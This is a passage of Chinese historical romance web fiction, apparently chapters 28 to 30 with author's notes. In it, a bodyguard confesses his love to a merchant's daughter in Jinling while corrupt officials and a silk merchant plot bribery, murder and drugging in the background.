“你们平日都看什么话本子呢,”钱映仪噙笑问话,顺手把这“话本子”翻一翻,待看清某页内容时,脸上笑意登时僵住。 夏菱发觉她神色奇怪,够眼往她的手上瞧,这一眼给她也吓得骇目圆睁,连脸都红了两分,“小、小姐,这是” 正是一本恋慕钱映仪的手札,其他的内容夏菱没瞧见,单那一页,便写满钱映仪穿了什么衣裳,有多美,那日又多吃了几口点心,他心甚悦,且铭记于心。 这个“他”,夏菱心中自有猜测,心中愈发忐忑。 钱映仪目光牢牢盯准上头的笔迹,极缓极慢地扫过每一行字,待看至最底下,又匆匆往前翻了两页,终于忍不住狠掷在地,“写字不蘸干净墨汁,还歪歪扭扭,我现在就把他给抓出来!” 她一扭身往外走,此刻怒大于惊,行事也不管不顾起来。行至一半,蓦然被夏菱一声呼唤绊住脚。 夏菱哆嗦着把手札捡起来,塞进钱映仪怀里,小声道:“小姐,奴婢奴婢想这或许是林铮的手札。” 钱映仪猛然抬头,有些心慌的神经在这一刻被挑动,或许她心中隐有答案,只是不敢去细想,此刻叫夏菱挑破,她益发咬牙切齿,一把夺了手札就往外走! 女孩子擎着一盏黄纱灯笼,怒气冲冲去寻“始作俑者”,她鲜少来侍卫休息的屋子,好容易在门前站定,隐见里头有光,却又有股临阵脱逃之意。 他到底想做什么?他胆大妄为至此,是仗着自己从未真正赶他走过?钱映仪轻喘着气,闭了闭眼,下一刻,猛然推开那扇门。 屋子里只有一点昏暗的烛光,弥漫着一丝血腥气,青年赤着上身,手持纱布往腰腹一圈一圈缠绕着,见她来,他仿佛是没看见,手下动作未停。 他的肩背肌肉很紧实,胳膊上有几道旧疤,肌肤称不上细腻,身形却太漂亮。 钱映仪有些发怔,下意识整个人站进屋子里,声音很轻:“你受伤了?” 想到白日小玳瑁所言,想到江宁有闹事者,她又往前走两步,“你说话啊!” 这一眼连他臂膀上的青筋都瞧得更清楚,她好似才回过神,匆匆旋裙避开,“抱歉,我先出去。” 岂知她方转身,他便从榻上起身,一步步朝她走来,她一颗心高高提起,他却只是越过她,把那扇透着月光的门给阖紧了。 下一刻,他在她面前站定,精。壮的胸膛在她面前停住,轻垂着眼,目光落在她头顶,“小姐来这里做什么?” 钱映仪躲闪着眼不敢看他的身体,只能把垂下视线去看他的腰带,这一看,又忍不住骂:“你混、混账,你能不能把腰带系正了!” “嗯?”他只是言简意赅道,“小姐还没回答我。” 来这做什么钱映仪握了握手里的手札,猛然回神,她是来质问他的!于是把那手札往他肩上一拍,愈问脸愈红,“我还想问你,你写的、写的都是些什么?” 秦离铮笑一笑,当着她的面随手翻开手札一页,嗓音沙沙的,“小姐不是看了?我再念给小姐听,三月二十五,梦见小姐,醒来一番荒唐,三月二十六,小姐多吃两块芙蓉糕,想必爱吃,日后我多留心,三月二十七,小姐窗下抄书,美极,我心甚悦,三月二十八” “你住嘴!”钱映仪再也听不下去,蓦然打断他,擎着灯笼接连往后退,神情惊惶,“你到底要干什么!” “你写这些,你还偷画我小像”她眨了眨眼,连眼眶都被挤得湿润,“我讨厌你!” 旋即一掷灯笼在地,就提裙往外跑。 不巧小玳瑁这时推门进来,钱映仪蓦然被掣进个炙热的怀抱,背欹在墙上,脸紧贴着那片胸膛,迎头被一件玄色箭衣紧紧包裹住。 继而,听他冷道:“出去。” 钱映仪躲在他的身体与衣裳之间,僵着不敢乱动。她被迫吸着他身上的薄荷香,他的胸膛缓慢起伏着,她的心也跟着在起伏,仿佛快要蹦出来。 半晌,传来关门的声音。 秦离铮缓缓撑开身体,掀开箭衣,露出她惊怯的脸,两条胳膊却没挪开,撑在她的两侧,倏然一笑,“不是讨厌我?脸红什么?” 钱映仪眨了眨眼,到底没哭,鼓着腮去推他,“你滚开!” 这一推推到他的伤,听他轻嘶忍疼,她将要落下的手硬生生换了个位置,掌心按在他腹部正中心,手下触感坚硬,烫得她要缩回手,又被他一把攫住手腕。 银釭里的烛光已灭,整个屋子里只有辉辉月色,秦离铮俯低身子轻扫她的神情,眼底的索求已不再遮掩。 “是,我承认,我画了你的小像,又把你写在手札上。” 他的呼吸近得要与她的绞缠在一起,“既然找过来,你心里已经有答案了,是吗?” 钱映仪呆愣撞进他的眼底,这一霎终于恍然,声音都有些发颤,“你引我过来?” 她目光缓移向他的腰腹,语气笃定又惊愕,“伤也是故意的?” 意识到这一点,钱映仪连手札也顾不得再与他计较,挣开他就要往外跑。 这一下又被他掣回怀里,他顺势在椅上坐下,她直直就跌在他坚。硬的腿上。 秦离铮握着她的腰,借着月色窥她愈发急的神情,倏然摁着她的脑袋,歪着脸往她腮畔亲了下。 不等她再反应,又把一连串的吻由腮畔往那两片唇肉上挪。 呼吸只悬停了一瞬,双唇碰到的那一刹那,彼此都有轻微的颤栗。秦离铮的吻很轻柔,只是轻轻印在她的唇上,像是对他冒犯举动下的安抚。 停了片刻,指尖在她后颈轻抚,才把这有些生涩的吻渐渐加深,用柔韧的舌头把她轻扫,轻轻的吮吸也在呼吸变换下变得重了点。 他盯着她轻颤的两帘睫毛,在她眼里望见了自己的倒影,只好松开她的腰,把手覆在她的眼睛上 。 钱映仪被他吻得发蒙,紧紧揽着后颈的手臂也迫使她往他的唇上压。 满室寂静,她能听见自己有些微喘的呼吸,和他那点细微的吞咽之声。 蒙上眼睛后,她都快分不清灼热的鼻息到底是出自谁。 唇上像被温泉裹住,钱映仪陡然回神,猛然发狠咬住他的唇肉,待他松开自己,狠狠一巴掌扇偏他的脸,“你疯了!” 她欲爆发的情绪已接近临界点,欲从他的腿上退离,他却干脆左右捞起她,抱着她放在案上,横手擦一擦唇上的血,又捧着她的脸吻了下来。 这一回,不再是缓慢的舔舐。秦离铮压弯腰身去亲她,带着点狠劲,仿佛要自己又或是她,为这个吻刻骨铭心。 恐她挣扎跌下去,双腿也使劲把她困住,唇上糅杂着一股淡淡的铁锈味,这些轻微的痛感与满腔嫉妒比起来不值一提。 吻到极限时,她被迫张开嘴喘气,他也顺势窜进去。 钱映仪整个人都无法动弹,只能在唇舌上与他较劲,跟着他的呼吸一起紊乱,彼此因为这个吻都唇舌发痒,益发湿濡。 到最后,秦离铮双唇松动,放开了她,歪着脸去亲她有些发抖的下颌,声音低得缠绵悱恻,“不许跑。” 钱映仪几欲要哭。 秦离铮握着她的手摁在那处伤口上,不给她思考的机会,倏然抛出问题:“若觉得我疯了,那在看见我包扎时,你就该走,你不走,难道你也疯了?” 见她不答,他又软一软嗓音,话音悬在她的耳侧,“是,我故意的,包括夏菱会告诉你,我也提前猜到了,我故意在这里等你。” 他掬着她的脸正视着,在她湿润的瞳眸里寻找自己的影子,“你要打我,骂我,都随你,我也想问一问,见我受伤,你在关心什么?” “你既知道是我,”他道:“寻过来是要训斥,还是想要个答案,还是说,其实你也喜欢我?” 钱映仪眼风四处乱瞟,最终发现只能垂着眼。她今夜的心已经跌宕得仿佛上天入地,她疑心自己再多待片刻都会死,便又挣扎起来。 “你还想跑!”秦离铮摁着她,看她倔强偏开的脸,心头一软再软,凑近她的脸,把彼此的鼻尖轻轻蹭一蹭,语气饱含委屈,“我真的快要嫉妒疯了,映仪。” 看见燕如衡触碰她的一刹那,他就已压制不住自己的心。 “你敢说,这几日,你没有想见我吗?” 渐渐地,他的嗓音益发低柔,隐含诱哄,终于揭开了遮在彼此间的那层纱,“好好想一想,你当真不喜欢我吗?” 钱映仪被他蹭得连连往后仰,半晌,才终于开口,嗓音还隐隐发颤,“凭什么我要喜欢你?” “就因为手札,因为你喜欢我,吻了我,”她一惯会嘴硬,干脆也把话说开,“所以我就要喜欢你?” 她一直躲,秦离铮干脆松开她。目光流连在她脸上,许久。 他倏然深深吸气,顺手把先前丢在案上的箭衣穿上,说话时,唇上那记伤口跟着上下起伏,“行,给我个期限。” 钱映仪一怔。 秦离铮抱她离地,在她的惊呼里,他道:“给我个期限,若没能让你喜欢上我,不用你赶,我会彻底在你眼前消失。” 钱映仪可笑瞪着他,“这是我家,我想何时赶你走就何时赶你走,用得着和你约定这个?” 秦离铮低眉看着她,目光停在她的腮畔,看着那一抹挥不去的红,他一挑眉,“不敢?” 简直可笑!钱映仪最受不得有人这样激自己,当即就离他远了许多,冷笑道:“我有什么不敢的!” 唇上仍酥酥麻麻的,钱映仪忍不住抿一抿。心中不服气,便一扬下颌道:“先约法三章!” 秦离铮渐弯唇畔,仗着目力极好,在昏暗里的月光下把她紧紧盯着,旋即轻轻点点下颌,“你先说。” 钱映仪紧攫裙边,一颗心还在扑扑乱跳。左思右想片刻,道:“其一,你不许离我太近,要说话,至少隔三丈远。” 秦离铮:“做不到。” “那、那你不许随随便便盯着我看!也不许像方才那样,随随便便就” 秦离铮:“做不到。” “你!”钱映仪又羞又气,干脆冲上前哐哐给他两拳,“那我先打你泄愤!你这也做不到,那也做不到,约法三章约的是个什么!” 对于她的扭捏和心口不一,秦离铮早已看透。因此,噙着笑纵容她打自己,在她气吁吁停下来时,便弓腰捡起地上那盏黄纱灯笼,重新点燃。 旋即轻拉她的手往外走,道:“我先送你回去,至于你的约法三章和那个期限,可以慢慢想。” “给我个机会,嗯?” 他的手十分暖和,钱映仪被他拉着往前走了两步才匆匆醒神,待拉开门,由外头的夜风吹一吹,她的神情方尽显愕然。 使了劲挣脱,却没他劲大。她分明是来找他算账的,为何又成这样? 垂了视线轻扫他握着她的手,想及自己变相等于同意了他的请求,钱映仪想,她大抵如他所说那般。 也疯了—— 作者有话说:一个嫉妒得发疯 一个就是嘴硬得要死 那还请进入一阵磨合和较劲期吧 审核大人,我很老实在写哦。[求求你了] 第29章 江南月,如镜复如钩。把钱映仪的心照得止不住地跳。 秦离铮一路都牵着她,却轻巧避开了所有人。大约是知晓她怕。 钱映仪挣脱一路,只换来他愈发攫紧的力道。 行至云滕阁外,她透过月色去瞧他,神色有些急,细细的嗓音压得很低,“你松开我!松开我!”生怕叫人发现了去。 秦离铮侧过脸,倏停脚步,目光在她的脸上停留一瞬,猛然把她往前一拉,“你若坦坦荡荡,那在慌什么?” 钱映仪慌张撞上他的眼睛。他的瞳色很深,黑漆漆的,从前她只觉他看人时总是漠然,此刻有月色和灯笼的映照,这双眼睛异常明亮,她在里头窥见了自己。 她没有理由地朝一旁扭头,见他不松,干脆抬脚去踹他! 好在他终于松开了她。 秦离铮顶着月色俯身靠近她,在彼此气息交织的距离里,他道:“早些睡,不许生闷气。” 他想再亲一亲她的脸,到底是恐她再受惊,只轻推她的肩,催促她进去。 他晓得,他有些冲动,今夜不够尊重她。可他遏制不住自己,他也是在今日才知晓,原来只需要嫉妒和憋闷,就能摧毁他在她面前的理智。 见钱映仪奔命似的冲了进去,秦离铮收回目送她的眼,笑了笑,抬手把唇上咬痕轻抚,转背离去。 屋外清辉月色,钱映仪把自己泡在热水里。洇润的湿气把她的脸浸染得红扑扑的,可这一抹红,是羞是热,谁又说得清呢? 坦坦荡荡,哼,他倒是坦荡!他怎么敢? 半晌,夏菱叩门小声催促,语气不足,“小姐” 钱映仪回神扭头,嗓音发蔫:“别管我。” 旋即蓦然吸气,一个猛子把脑袋埋进了水里,要把今夜的慌乱、湿濡、惊心动魄都一一清洗干净。 次日暖阳高照,又是好风光。钱映仪一觉醒来,惯性坐在帐子里不说话,不一时,听见外头有人交谈,声声语调里仿佛杂糅着那个令她不由自主心颤的声音。 钱映仪怔然踩鞋下榻,伸手把窗推一推,果真隔老远在院外见到了他。 青年穿一件银色暗纹圆领袍,站在浓荫密匝的树下与人说话,似有所感,微微侧身往她这头看了一眼。令钱映仪产生一种错觉,好像他今日格外意气风发。 夏菱在廊下拨打 络子用的彩线,听见动静,轻轻“啊”了一声,忙放下手里的活,“小姐醒了。” 稍刻,正屋被推开,夏菱与春棠擎着铜盆进来,钱映仪也“啪”地一声把窗撂下。 拿温热的帕子细细擦着脸,钱映仪一眼窥清夏菱刻意避免尴尬的神情,动作一顿。 直至此刻,她终于后知后觉想及一件事。 夏菱是如何猜中手札是他的已不太重要,他既不再在她面前遮掩,足以证明从前露出过端倪,因此被夏菱察觉到了。 她昨夜回来时定然顶着一张红透的脸,还有嘴唇 钱映仪歪脸照镜,目光落在自己两片唇肉上,不自觉抿一抿。 夏菱知晓,昨夜小玳瑁也意外闯入,说他没看见,那都是假话。小玳瑁知晓,春棠岂非也 钱映仪蓦然拿湿帕子捂着脸不说话。 真是羞死人了。 俄延半日,钱映仪才打扮得伶伶俐俐出来。她高扬着小巧的下颌,目光只在他身上停了片刻,好叫他明白,她才没有躲他。 见他上前,钱映仪直视他的脸,眼珠子上下瞟他,轻问,“怎么回来了?不用去江宁了?” 秦离铮笑,“不必再去,案子在昨日已了结。” 这么快就了结?莫不是又在诓她,钱映仪狐疑觑着眼,有些没话找话之意,“哦,那你说来我听听。” 旋即使两个丫鬟搬了竹椅在院中。 秦离铮点一点下颌,也未靠近她,只立在原地回话。 原来是江宁一带的农户联合状告地主。即使金陵繁丽,是个销金窟,也仅仅局限于官宦与商户。苦的依旧是百姓。 江南重税,田赋更甚。去年秋粮征收时,每十亩地要征两石粮,农户早已心存怨怼,轮到今年夏税,又一纸命令下去,要交纳的东西远远超出了去年的三倍。 除去粮食,还要交纳丝绢、棉花等。地主们还放言可折换成银子交纳,这一番打压掀起了众怒,不知哪个农户听到江南巡抚已到金陵的风声,便联合一众农户,将那些地主给告上了公堂。 钱映仪听得拧眉,“你的意思,那些多征的东西都是地主自己给贪了?” 秦离铮盯着她抹了淡淡胭脂的腮畔,一时没说话。 地主们背后是燕家,这几日他与余骋早已查清。 燕家虽没出面,却由衙门里的班头私下与地主们相见,仗着农户老实本分,便凭空捏造条款。 地主们不缺钱,缺的是个庇护,因此这多交纳出来的东西,都折算成银两进了燕榆的荷包。 燕家倒是下手又快又狠,那燕如衡被迫公堂陪审,也始终辩口利辞,把那些地主都推了出来,话里话外也在暗示他们,倘或把燕家给供出来,便好好留神自己的性命。 为免打草惊蛇,余骋就此作罢,明面给了农户一个交代,当即限他们三日之期归还多交纳的东西。 见他盯着自己,钱映仪暗瞪他一眼,“说啊!” 秦离铮收回眼色,抹去其中复杂,只将结果告知与她。 钱映仪轻轻“哦”了一声,眼梢里飞出一丝不自在,又问,“那你不必再去姐夫那边囖?” 秦离铮唇畔噙着一抹笑,想她自己或许都不知道,这句话听在耳朵里,试探之意太过明显。他的声音便陡然轻了,轻得只有她能听见,“哪也不去了。” 难免,钱映仪顶着他的目光又有些退缩。他这话是何意?好像她在命他留下来。 正微妙时,钱映仪的眼风瞟向院外,捉住个眼熟的丫鬟,正是任郁青身边的,她忙喊:“嫂嫂有什么事?” 那丫鬟快步行来,端端正正福身,便道:“小姐,我们少奶奶今日晨起胃口好,说想吃大少爷前些日子带与她的山楂奶露,可少奶奶不记得是哪家食肆的,想着小姐熟悉金陵,便使奴婢来问一问。” 巧了不是?那山楂奶露钱映仪十分喜欢,正是她说与钱林野听的,她当即摆一摆手,“嗐,嫂嫂吩咐你去买?你也从京师来,连路都认不全,我今日无事,这便出去买了来。” 丫鬟受宠若惊,稍显迟疑,“这如何使得?” 钱映仪已从竹椅上起身,顺手接过夏菱递来的桐叶团扇遮一遮阳,道:“无妨,一家人不计较这些,你去回了嫂嫂便是。” 那丫鬟一连迭出声言谢,把钱映仪从头夸到脚,夸得她飘飘然漾着笑,当即朝自己的两个丫鬟招手,“夏菱,拉着春棠过来,咱们一起” 话音未落,钱映仪望向还站在原地的侍卫,顿了顿,话锋倏转,“夏菱,不必了,今日叫他跟着我。” 旋即捉裙往外走。 秦离铮暗自勾笑,默然跟上。 甫一出角门,钱映仪就撩帘进了马车。正因隔绝开他的视线而得意,不防车帘一起一落,这人也跟着坐了进来。 钱映仪如临大敌,薄薄的肩背死死欹在车壁上,“你做什么?” 秦离铮懒洋洋阖眼,没逼近她,也学着她往后靠,“小姐不让她们跟着,只单单叫我,难道不是已经想好了?” 与他独处在窄小的马车里,钱映仪霎时像回到昨夜,她悄悄撩起车帘一角透气,半晌,才掀眼望向他。 半束暖阳打在他的腰腹上,打在那泛着冷光的皮革腰带上,使她又回忆起手下的触感。怎么回事?她总想这些做什么! 钱映仪闭目稍缓,方道:“三个月。” 秦离铮蓦然睁眼看她。 她红唇轻轻翕合,声音很轻,“三个月,就当是个赌注,赌你能不能在三个月内让我喜欢上你,若你做不到,从此不许再出现在我眼前。” “至于约法三章,”她道:“其一,什么都得听我的,事无巨细,我说往东,你不许往西。” “其二,不许再像昨日那样故意对我设局。” 说到最后,钱映仪耳廓渐红,腮畔的那抹胭脂也益发红,“其三未经我的允许,不许亲我。” 秦离铮轻轻点头,“没了?” “没了。”她一惯也果断。 马车里岑寂一瞬,下一刻,钱映仪见他撑身凑过来,目光火热得要把她吞吃入腹,那两只眼睛往她的额心瞧了一眼,旋即缓缓往下扫,盯着她的嘴不放。 他的声音很沉,“亲一下,可以吗?” 钱映仪心一抖,一巴掌扇开他的脸,避开他的撩拨,虽瞧着不满他的举动,力道比之昨夜,却轻飘飘如一片羽毛,“谁、谁许你顺杆往上爬了?” 秦离铮心情犹好,复又坐回去,道:“不是你说,亲你之前,要先经过你的同意。” 曈曈太阳如火色,映得马车内也浸染几分暧昧旖旎,连缃色的车帘都染上了红。角门那头传来几个婆子丫鬟的说话声,钱映仪隐隐打了个颤,脚由裙摆下露出来踢他的小腿,低骂道:“真不要脸,你还不下去?” 她没使劲,假意踢他,秦离铮也不再过分,撩开车帘就下去了。 那卖山楂奶露的食肆在河畔伫立,前后不过半炷香的功夫,伙计便已送上食盒。 钱映仪心里琢磨任郁青急着吃,买过便欲折返回去,正要开口说话时,秦离铮倏将食盒放回马车里,继而朝她道:“先随我去个地方。” 钱映仪目露狐疑,“你想干什么?” 秦离铮失笑,“你觉得我能在大庭广众之下干什么?” 见她踟蹰,他谨记与她的约定,也不好牵她,便率先转背往一个方向走,“跟上。” 钱映仪在原地顿一顿,还是踩着他的影子跟了过去。 行过两条巷子,秦离铮在铺前站定。暖阳刺眼,钱映仪眯着眼去瞧,“何家铁铺?” 她扭头看他,“你带我来这儿做什么?” “自然是取东西。” 何家铁铺那伙计依旧挂着谄媚笑意,一见秦离铮便忙迎上来,“哟,正说起您怎么还没来取呢,竟这般巧!” 一瞥眼的功夫看见躲在秦离铮身后的钱映仪,脸上笑意更甚,“外头太阳大,奶奶请快些进里头去坐着,小的沏茶您喝。” 一句“奶奶”把钱映仪叫得神情发讪,暗道侍卫葫芦里在卖什么药 ,见他拔脚进去,也只好跟上。 不一时,伙计递上两盏茶。又利落打帘去了后头,一来一回不过眨眨眼的功夫,手里多了个四四方方的檀木锦盒。 “您官人早十来日就请咱们铺子的铁匠打了这些,您看看,可还喜欢?” “嗳,我和他不是”钱映仪愈发发讪,暗道这伙计辨错二人关系都是因侍卫未曾说清,又把他暗瞪一眼,正欲为自己解释,目光就落在打开的锦盒里,一时失语。 锦盒里是一套牡丹花纹样的珐琅银饰。一只指节宽的手镯,一块半个巴掌大的吊坠,皆打磨得亮晶晶的,牡丹花瓣点缀粉色,精致耀眼。 另配一副耳坠,是一对小小的牡丹花。再是个挂在脖子上的如意锁项圈。 伙计见她明显是喜欢,笑着合紧锦盒,旋即递与她,“还请收好。” 钱映仪盯着这锦盒半晌,目光又落在男人的侧脸上,二人对坐,他冲她轻笑,“喜欢就收着。” 侍卫每月才几两银子?钱映仪心中很有数。半个时辰前她还觉得他的笑布满心机,十分讨厌,此刻再凝视他唇畔的笑 钱映仪默然垂了视线,眼眶有一丝极轻的酸涩。 她顿了顿,一把抄起那锦盒抱在怀里,自顾往外行去,“哼,我不喜欢,只是不好浪费人家铁匠辛辛苦苦打的东西。” 秦离铮但笑不语,目视她站在门外的那半片裙角,往怀里摸了个整锭子搁在桌上。 “好嘞,”那伙计高兴得笑没了眼,朝秦离铮神秘兮兮道:“结好工钱,小的什么都不会说,您放心,咱们铁铺的何师傅手艺精湛,外头那层银裹得严实,若非重重剐蹭,绝不会叫人发现里头是金子。” 说到此节,伙计免不得好奇,够眼往外头瞧一瞧,低声问:“不过官人,您既有钱,干脆直接送金子不就好囖?” 秦离铮淡漠的眼轻扫他,“拿钱办事,不该问的就不要再问。” 旋即起身打帘出去。 路上钱映仪抱着那锦盒,总忍不住用余光偷瞥他,刻薄的话说不出口,只好道:“看你与那伙计相熟,上回那簪子,也是在这何家铁铺修的?” 巷口远远蹲了条毛色金黄的野狗,秦离铮往她身前挡一挡,随意捻了颗石子掷去另一头,“是。” 野狗被那石子掷出的动静吸引,没几时就跑没了影。 钱映仪恍然未觉,微嘟的嘴唇动了动,复又问,“银子都花在我身上,你平日不用了?” 秦离铮清清嗓子,心虚把话岔开,“快些走,不是还要回去送东西给少奶奶?” 引得钱映仪暗暗翻了翻眼皮,嘀咕道:“没你打这一回岔,我早回去了。” 她一面说,脚步也不自觉加快。好像这样,就能把那抹轻轻的悸动甩在裙摆后头。 待踅进马车,钱映仪就不再说话。秦离铮靠在车壁外驭马,淮河两岸波光粼粼,也浅浅照出了他的心虚。 伙计的问题他不好作答。他曾想过在她面前承认自己的身份,可那日听她话里话外十分厌恶锦衣卫,倘或她知晓,不赶他走已是仁慈,何谈什么约法三章与三月之期。 牵着一记心事辗转回琵琶巷,秦离铮暂且抛开这些,只暗自盘算找个合适的时机与她坦白。 轻叩车壁,钱映仪便从马车里打帘下来。 东西都由他提着,钱映仪只执扇轻摇,正踩上一截石磴,不防隔壁门房走出两道身影被她窥清,她顿一顿,轻喊:“璎娘?” 璎娘俏丽的脸蛋红扑扑的,撞见钱映仪,神情仿佛像被她抓包,待近前来,说话便带着歉意:“钱小姐,裴官人请我上门,说要换一换戏班子” 换戏班子是假,或许郎情妾意才是真。钱映仪眼珠子落向她身后的裴骥,心中自有思量,也不会与她计较这些,因此便和善笑笑,“说这些做什么,你想上哪家唱戏是你的自由。” 璎娘心头那抹忐忑渐缓,忙抬脸回她个笑。 自打上回被当众羞辱,她回去就心有不甘。说到底那班富贵人家都是欺她无财无权。 权势离她远,她尚且够不着。但裴骥有财,她能够一够。只要抓住他一颗心,她的出路也有了。 只有钱小姐待她不同。 璎娘的歉意出自真心,倒踟蹰半日没说话,恐钱映仪觉得她攀附财势。 好在钱映仪不喜管人家私事,还冲她眨眨眼,笑道:“有人还在等你呢,我家中有事,先进去了,回头你得空来我家唱戏。” 旋即隔得老远与裴骥稍一福身,便自顾往宅子里去了。 秦离铮落在后头,脚步稍缓,漫不经心扫了眼裴骥,身影也踅进门内。 这厢目送钱映仪进去,璎娘收回眼,脸上浮出个温婉的笑,捉裙往裴骥身前跑去,“裴官人!” 跑近了,她仰脸盯着他俊朗的面容,笑吟吟道:“我明日又来与你说戏班子的事,好不好?” 裴骥笑拧她的鼻尖,嗓音温柔,“好。” 璎娘的脸霎时浮现一抹淡淡的红,鼓足勇气向他踮起脚,裴骥垂眼盯着她,只笑戳她的额心,哄她,“请的软轿到了巷子口,你先回去,我还有事要办。” 璎娘目色划过一抹黯然,想及自己的谋算,只好依他所言,一步三回头,恋恋不舍地走了。 待她坐的软轿离开视线,裴骥的神情陡然冷了下来。 俄延半日,他回身踅进门内,与一旁的管家道:“先前派去打探钱家动向的人都被钱映仪身边的那个侍卫弄伤了手脚,他好大的能耐。” 管家道:“那咱们要不要”他横在颈间比划。 “日后璎娘若来府上,不必拦着,”裴骥不答,反道:“她是个好利用的对象,你方才也瞧见了,她与那钱映仪关系还算融洽,听她说,上回她被人污蔑,也是钱映仪替她说话。” “先哄着她,咱们耐心也足一点,毕竟整个钱家,只有钱映仪最好接近。” 裴骥垂眼分析道:“我料想得不错,钱家的势力果真比应天府那几个的势力要大,你这几日可听说了江宁那状告地主的案子?” 他冷笑,“应天府的一把手做得再天衣无缝,见了巡抚,便如老鼠见猫。他们再厉害,也厉害不过钱家,想把我的丝绸当作香饽饽,当作掌中之物,我还未必肯给他们。” “我那表姐夫王弋近来总在催促我运货,他们也不怕一口吃死自己。” “先前抄来的账本可藏好了?”裴骥轻瞥管家一眼。 管家忙道:“藏得严严实实的。” 裴骥满意点点头,望向管家,嗓子里喧出一缕叹息,“只要我能借钱家的势在金陵站稳脚跟,咱们也不必再与王弋合作,他贪得无厌,瞧不起我只是个商户,我早已想与他翻脸。” 二人正说着,往镖局取信的小厮回来,一进门见到裴骥,便把信递与他,“主子,是蔓姐的信。” 话说这裴骥虽出自商户之家,其背后家族在淮安一众商人里,也算大户。 除了正房太太,裴父还娶了四房姨太太,后来正房太太染病去世,裴父又往外头聘了一位做续弦。 裴父荒唐,裴骥年岁还小时,那最小的姨太太才不过十八岁。 而裴骥正是那位染病离世的太太所生,乃裴家唯一的儿子。 其父风流,家中韵事在淮安府广传。谁也料想不到,裴骥继承其风流,早已在私下与四姨太太沈蔓厮混一处。 二人罔顾人伦,好不快活。裴骥生性爱刺激,日夜背着老爹翻云覆雨,对这沈蔓倒有五六分真心。 是以知道是她来的信件,裴骥神情稍缓,把信拆开细细扫量,见上头写了些情诗与思念他的话,也免不得牵唇笑笑。 看到沈蔓被其他几房姨太太针对时,又渐渐 拧了眉。 大约是这封信里的小女人情怀激起他可笑的保护欲,使他迫切想在金陵站稳脚跟,届时也好把这名义上的小娘接来。裴骥把信往怀里放好,神情复又渐渐严肃。 宅子透亮,他仰头窥一窥半空的云,道:“这金陵啊,定要容下我。” 又倏然想起管家先前那一记手势,便朝管家招一招手,“你去江湖上打听打听高手,钱映仪身边的那个侍卫太碍眼。” “杀了他。”—— 作者有话说:银包金,秦离铮送个金子还偷偷摸摸。 写到这里,已经快接近二十万字了,我想在作话里啰嗦几句。 其实秦离铮是可以向钱映仪坦白自己的身份的,但是他也很纠结。 燕家蔺家想要放开手贪钱,盯上钱映仪是为了让余骋包庇他们。 那个始终没出来的王弋算是替上面二位办事的,也偷偷贪了不少在自己口袋。 再是这个裴骥,他站在食物链的底端,之前一直依附着王弋,也帮着燕家蔺家贪了不少银子,他是个商人,也爱钱,接近钱映仪的目的是想在金陵站稳脚跟,也彻底甩开王弋和燕蔺等吸血虫。 这条食物链的关系复杂,每个人都在为自己夺利益。 秦离铮如果现在坦白,就相当于把整个阴谋暴露在钱映仪眼前。 他的哥哥就死在阴谋里,这是他一直到现在都接受不了的,所以当把钱映仪当作要保护的人之后,他会下意识的回避,然后就陷入纠结。 开文前我还信誓旦旦要写纯甜文,可恶,我还是改不了写酸涩文的毛病,难道我天生就是酸涩派![爆哭] 第30章 裴骥的野心暂且不提。但说这日微风吹拂,细雨蒙蒙,燕家一处议事的暗室外,燕榆狠掷茶盏在地,语气隐有急切: “江南巡抚?好个江南巡抚!一来便办了桩漂亮案子,把那些个没用的东西都诓住,险些把我等暴露出来!” 要说这燕榆的性情,从前也并非如此急躁。 自打失了男人的尊严,他渐渐阴郁,对钱财的掌控益发痴迷,好像有了钱,他流失的一部分残缺就能回来。 这些年习惯荷包进钱,近来却一再受阻,反还要自掏不少去垫,燕榆哪能不怄气? 下首坐了个中年男人,慈眉善目,体型圆润,弓身把那碎开的瓷片捡一捡,笑着宽慰道:“姐夫,不要为小钱动怒伤身嘛,容易沉不住气,这可不值得。” 正是那管着递运所的王弋,燕榆的妻弟。 王弋佛面蛇心,噙笑往那椅上一靠,阴天里那抹不明显的光束也打在他身上,细细的尘埃就在他说话时四下散开: “余骋既任巡抚,他要查,就让他查好了,他若起疑心,也只会去户部核账,咱们在户部有人,账面做得干净,即使有亏空,整个南直隶大大小小的官员那么多,要轮到咱们身上,也还早着呢。” 燕榆阴沉着脸不说话。 王弋又道:“那些地主推出去就推出去了,在这应天府,您可是一把手,说句只手遮天也不为过,马上就是夏税,您还怕没人想着孝敬您?那些贱民只有几个钱在手里而已,若想求庇护,还是会寻到您这儿来的。” “从扬州府、苏州府等地也有不少丝绸往上送,底下的官员一点点往上送,他们贪,咱们也贪,裴骥那头的货折算成银子也是一大笔钱。” “这余骋在金陵难不成还能待上半年?他还得下去巡一巡呢!咱们就先忍一忍,面上做做样子,等他一走,这些银子不还是落入咱们的荷包里?” 王弋把那碎瓷片在桌上轻敲,“姐夫,不要怕,不要急,咱们做事留痕不多,江南巡抚又如何?说起来是个人物,不过也是仗着家里的势,得皇上看重预备升他的官,这才派他来走一走过场罢了,往前数十几年,您见过哪个巡抚像他这么年轻的?” “倘或皇上派了锦衣卫来,那班人若手起刀落,先斩后奏,咱们才是真的大祸临头了。” 让王弋劝了劝,燕榆神情稍缓,道:“你说得对,是我急了,那些无用的地主留着性命也没什么用,今夜使人去灭口,切记,一个活口都不留。” 他又叹一声,“余骋是不是个花架子暂且不论,他摇身一变成了巡抚,咱们还怎么拉拢他?要我说,不如直接玩狠的。” 王弋呷着茶,随口搭腔,“姐夫有什么法子?” 燕榆瞟他一眼,脑子里的阴私招数转了几圈,逐渐坐回案后,唯独剩半张脸在光下,稍显可怖,“少不得要给那钱映仪下点药了!” “不可!” 燕如衡坐在一旁始终缄默,闻言登时起身,神情惊愕,“爹,怎么可以对她用这样的法子?” 燕榆冷笑乜他,“我儿玉树临风,我不过是推进你二人的感情,怎么,舍不得她受苦?” “爹有没有想过此事若失手,钱家发现咱们的计谋,该当如何?” 燕如衡眼色头一回如此坚定,“我不同意,爹若强硬要使这样的手段,我现在就削发为僧,公之于众,没了我,爹拿什么去拉拢钱家,拿什么去拉拢余骋!” “那就等着全家一起死!”燕榆倏然拂案,屋子里叮呤咣啷砸碎一地东西,他厉声道:“你舅舅的话虽说不假,但若那余骋是个精的呢?你不提前下手,就等着一点点被查出来,咱们一齐被送下阴司!” 燕榆快步行至燕如衡身前,那双与其有几分相似的眼睛里布满威胁,“贪墨当诛,我与你娘,你姐姐,你姐夫一家,包括你舅舅,甚至是你在凤阳的二叔二婶,都得死。” “我儿,”燕榆放轻了语调,在“二叔二婶”上咬字极重,形容益发阴森可怖,“你舍得这么多人一起去死吗?” 